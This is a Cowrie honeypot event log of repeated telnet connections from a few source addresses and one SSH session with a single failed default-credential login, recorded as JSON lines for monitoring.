{"eventid":"cowrie.session.closed","duration":30.423051595687866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.149625Z","src_ip":"117.120.7.112","session":"11370bb8f35f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059311866760254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.254447Z","src_ip":"117.120.7.112","session":"56ebd20bd706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42024,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f1923e992b","protocol":"telnet","message":"New connection: 185.111.235.80:42024 (10.17.0.5:23) [session: a1f1923e992b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.712930Z"}
{"eventid":"cowrie.session.closed","duration":31.073964595794678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.883469Z","src_ip":"185.111.235.80","session":"138cf33e922a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782124757766724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.911033Z","src_ip":"185.111.235.80","session":"424301451293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80780792236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.915795Z","src_ip":"185.111.235.80","session":"e36407dffd0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.201581954956055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.993234Z","src_ip":"185.111.235.80","session":"3307fc92c6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d08027d0a36c","protocol":"telnet","message":"New connection: 185.111.235.80:44496 (10.17.0.5:23) [session: d08027d0a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.224856Z"}
{"eventid":"cowrie.session.closed","duration":31.164948225021362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.230187Z","src_ip":"117.120.7.112","session":"3d17b655fd65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45066,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f47e531392","protocol":"telnet","message":"New connection: 185.111.235.80:45066 (10.17.0.5:23) [session: a0f47e531392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.313288Z"}
{"eventid":"cowrie.session.closed","duration":31.28660535812378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.533682Z","src_ip":"185.111.235.80","session":"67eec13a202d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46906,"dst_ip":"10.17.0.5","dst_port":23,"session":"68330c3331f2","protocol":"telnet","message":"New connection: 185.111.235.80:46906 (10.17.0.5:23) [session: 68330c3331f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.709390Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47308,"dst_ip":"10.17.0.5","dst_port":23,"session":"90fd7cea5017","protocol":"telnet","message":"New connection: 185.111.235.80:47308 (10.17.0.5:23) [session: 90fd7cea5017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.840243Z"}
{"eventid":"cowrie.session.closed","duration":31.111804485321045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.955325Z","src_ip":"185.111.235.80","session":"f38274d6c8a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545837879180908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:59.985467Z","src_ip":"185.111.235.80","session":"15dace15dde5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768534183502197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.013482Z","src_ip":"117.120.7.112","session":"27d93b2af8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424001216888428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.078877Z","src_ip":"185.111.235.80","session":"566b98e75613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12805414199829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.302091Z","src_ip":"185.111.235.80","session":"b53e63e15b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49676,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ca9122575f","protocol":"telnet","message":"New connection: 185.111.235.80:49676 (10.17.0.5:23) [session: 78ca9122575f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.372610Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39396,"dst_ip":"10.17.0.5","dst_port":22,"session":"321c3cc8218f","protocol":"ssh","message":"New connection: 176.65.139.103:39396 (10.17.0.5:22) [session: 321c3cc8218f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.466062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.470379Z","src_ip":"176.65.139.103","session":"321c3cc8218f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.557614Z","src_ip":"176.65.139.103","session":"321c3cc8218f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b2c17e9bb5","protocol":"telnet","message":"New connection: 185.111.235.80:51314 (10.17.0.5:23) [session: e2b2c17e9bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.705236Z"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.829665Z","src_ip":"176.65.139.103","session":"321c3cc8218f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"466225119908","protocol":"telnet","message":"New connection: 117.120.7.112:41512 (159.203.135.109:23) [session: 466225119908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.870179Z"}
{"eventid":"cowrie.session.closed","duration":30.49661612510681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:00.893783Z","src_ip":"185.111.235.80","session":"13e946962621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33160,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0d6cb58e39","protocol":"telnet","message":"New connection: 185.111.235.80:33160 (10.17.0.5:23) [session: 2e0d6cb58e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.007201Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b6bd088aa9e","protocol":"telnet","message":"New connection: 185.111.235.80:53072 (10.17.0.5:23) [session: 6b6bd088aa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.120450Z"}
{"eventid":"cowrie.session.closed","duration":30.843464851379395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.174970Z","src_ip":"117.120.7.112","session":"75fdac8b6a1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53576,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0ed8ce4b31","protocol":"telnet","message":"New connection: 185.111.235.80:53576 (10.17.0.5:23) [session: 8f0ed8ce4b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.198286Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54824,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76932a0e35a","protocol":"telnet","message":"New connection: 185.111.235.80:54824 (10.17.0.5:23) [session: f76932a0e35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.505239Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56176,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81818c7b93c","protocol":"telnet","message":"New connection: 185.111.235.80:56176 (10.17.0.5:23) [session: c81818c7b93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.801862Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56220,"dst_ip":"10.17.0.5","dst_port":23,"session":"52144a5acc9b","protocol":"telnet","message":"New connection: 185.111.235.80:56220 (10.17.0.5:23) [session: 52144a5acc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.813510Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16d90bf32b6","protocol":"telnet","message":"New connection: 185.111.235.80:56558 (10.17.0.5:23) [session: c16d90bf32b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.901623Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56658,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6686174895","protocol":"telnet","message":"New connection: 185.111.235.80:56658 (10.17.0.5:23) [session: ee6686174895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:01.925705Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57174,"dst_ip":"10.17.0.5","dst_port":23,"session":"a42a5b35fcb0","protocol":"telnet","message":"New connection: 185.111.235.80:57174 (10.17.0.5:23) [session: a42a5b35fcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:02.051541Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43552,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa7d08752a6","protocol":"telnet","message":"New connection: 185.111.235.80:43552 (10.17.0.5:23) [session: 5aa7d08752a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:02.095167Z"}
{"eventid":"cowrie.session.closed","duration":30.768635511398315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:02.103156Z","src_ip":"117.120.7.112","session":"c7a8ff3e97e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:02.127505Z","src_ip":"176.65.139.103","session":"321c3cc8218f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.868396282196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:02.431819Z","src_ip":"185.111.235.80","session":"450edcb2ee68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.503315687179565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:02.744986Z","src_ip":"185.111.235.80","session":"6d50469eda11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618210315704346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:03.168138Z","src_ip":"185.111.235.80","session":"b6e3fbaa5269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":51562,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8dc7226a78","protocol":"telnet","message":"New connection: 108.61.242.114:51562 (10.17.0.5:23) [session: 2a8dc7226a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:03.368337Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f36600b9b0","protocol":"telnet","message":"New connection: 185.111.235.80:59104 (10.17.0.5:23) [session: b4f36600b9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:03.415355Z"}
{"eventid":"cowrie.session.closed","duration":31.685462713241577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:03.833812Z","src_ip":"185.111.235.80","session":"3953330e26f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834728479385376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:03.880398Z","src_ip":"185.111.235.80","session":"76956f82b325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704538822174072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.031048Z","src_ip":"185.111.235.80","session":"0fd65f160877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c94e5496ad9","protocol":"telnet","message":"New connection: 185.111.235.80:38264 (10.17.0.5:23) [session: 1c94e5496ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.090282Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58036,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f7f5db78e1","protocol":"telnet","message":"New connection: 185.111.235.80:58036 (10.17.0.5:23) [session: f5f7f5db78e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.206398Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":49352,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccd219df35df","protocol":"telnet","message":"New connection: 117.120.7.112:49352 (159.203.135.109:23) [session: ccd219df35df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.300361Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49210,"dst_ip":"10.17.0.5","dst_port":23,"session":"7779e25f93c7","protocol":"telnet","message":"New connection: 185.111.235.80:49210 (10.17.0.5:23) [session: 7779e25f93c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.304403Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91f71e1a251","protocol":"telnet","message":"New connection: 185.111.235.80:40160 (10.17.0.5:23) [session: f91f71e1a251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.371880Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40540,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a785ccd80b","protocol":"telnet","message":"New connection: 185.111.235.80:40540 (10.17.0.5:23) [session: a6a785ccd80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:04.443766Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51090,"dst_ip":"159.203.135.109","dst_port":23,"session":"7983b0693b0d","protocol":"telnet","message":"New connection: 117.120.7.112:51090 (159.203.135.109:23) [session: 7983b0693b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.072449Z"}
{"eventid":"cowrie.session.closed","duration":31.12821936607361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.177001Z","src_ip":"185.111.235.80","session":"27629b7cf94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43926,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f69ef1cbe1a","protocol":"telnet","message":"New connection: 185.111.235.80:43926 (10.17.0.5:23) [session: 2f69ef1cbe1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.186835Z"}
{"eventid":"cowrie.session.closed","duration":31.18693447113037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.278900Z","src_ip":"185.111.235.80","session":"a8e4652201ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1f8a11873a","protocol":"telnet","message":"New connection: 185.111.235.80:44736 (10.17.0.5:23) [session: 6e1f8a11873a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.315235Z"}
{"eventid":"cowrie.session.closed","duration":31.184821367263794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.340915Z","src_ip":"185.111.235.80","session":"6e34c95c9232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e115d35caee4","protocol":"telnet","message":"New connection: 185.111.235.80:45502 (10.17.0.5:23) [session: e115d35caee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.485149Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45610,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc3fce5ba737","protocol":"telnet","message":"New connection: 185.111.235.80:45610 (10.17.0.5:23) [session: fc3fce5ba737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.495531Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46650,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36aee8f54ef","protocol":"telnet","message":"New connection: 185.111.235.80:46650 (10.17.0.5:23) [session: b36aee8f54ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.748008Z"}
{"eventid":"cowrie.session.closed","duration":30.121862649917603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.893726Z","src_ip":"185.111.235.80","session":"5324f2500faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.332829475402832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:05.995579Z","src_ip":"185.111.235.80","session":"4ffa63776a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47722,"dst_ip":"10.17.0.5","dst_port":23,"session":"87588e9685d4","protocol":"telnet","message":"New connection: 185.111.235.80:47722 (10.17.0.5:23) [session: 87588e9685d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.036926Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a9379d5fdf6","protocol":"telnet","message":"New connection: 185.111.235.80:48156 (10.17.0.5:23) [session: 3a9379d5fdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.135231Z"}
{"eventid":"cowrie.session.closed","duration":30.944534301757812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.146413Z","src_ip":"185.111.235.80","session":"9b2535a8d3de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f8b436d945","protocol":"telnet","message":"New connection: 185.111.235.80:48906 (10.17.0.5:23) [session: 51f8b436d945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.263367Z"}
{"eventid":"cowrie.session.closed","duration":34.111836433410645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.626542Z","src_ip":"185.111.235.80","session":"5e34ed834a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79138946533203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.665470Z","src_ip":"185.111.235.80","session":"b7b31d35bdbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54368,"dst_ip":"159.203.135.109","dst_port":23,"session":"169ab5085f4c","protocol":"telnet","message":"New connection: 117.120.7.112:54368 (159.203.135.109:23) [session: 169ab5085f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.761556Z"}
{"eventid":"cowrie.session.closed","duration":30.240983486175537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:06.949976Z","src_ip":"185.111.235.80","session":"7a3c8cd043a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78966474533081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.043737Z","src_ip":"185.111.235.80","session":"5560fc7ef7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b2d55ee358","protocol":"telnet","message":"New connection: 185.111.235.80:51896 (10.17.0.5:23) [session: d7b2d55ee358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.048851Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48038,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c2d1893794","protocol":"telnet","message":"New connection: 185.111.235.80:48038 (10.17.0.5:23) [session: 86c2d1893794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.108640Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43516,"dst_ip":"10.17.0.5","dst_port":23,"session":"229db29790cd","protocol":"telnet","message":"New connection: 185.111.235.80:43516 (10.17.0.5:23) [session: 229db29790cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.146791Z"}
